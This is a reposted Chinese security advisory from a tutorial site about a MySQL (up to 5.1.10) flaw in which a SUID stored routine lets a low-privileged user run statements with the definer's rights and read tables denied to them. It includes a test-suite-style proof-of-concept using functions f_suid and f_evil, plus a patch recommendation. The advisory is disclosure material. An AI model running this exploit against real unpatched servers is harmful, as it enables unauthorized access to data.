当前位置: 首页 > 图文教程 > 数据库 > MYSQL > MySQL权限提升及安全限制绕过漏洞

MYSQL
怎样可以在Windows上安装多个Mysql
详细讲解MySQL数据库中的安全配置步骤
解析mysql 8小时空闲后连接超时的问题
一起从基础入手来打开MySQL数据库之门
MySQL数据库中的Show命令具体用法
怎样在MySQL的数据库中定义外键详解
MySQL数据库用户帐号管理基础知识详解
MySQL从旧的版本升级为新的版本全攻略
用Tomcat和MySQL生成动态内容详解
讲解查看MySQL数据库错误码的三个方法
数据库经验:如何简单安装MySQL数据库
MySQL数据库双机热备的配置方法详解
在SUSE10下安装和配置MySQL数据库
MySQL数据库本地备份和双机相互备份
MySQL数据库常见的出错代码及出错信息
带你轻松玩转MySQL数据库的异常处理
用实例管理器轻松管理多个MySQL实例
MySQL性能调整之my.cnf文件的配置方法
Replace INTO与INSERT INTO的不同之处
循序渐进讲解MySQL数据库的性能调整

MYSQL 中的 MySQL权限提升及安全限制绕过漏洞


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-17   浏览: 44 ::
收藏到网摘: n/a

受影响系统:

MySQL AB MySQL <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法:

【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

1、创建数据库

2、权限提升

以下为引用的内容:

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;

 建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载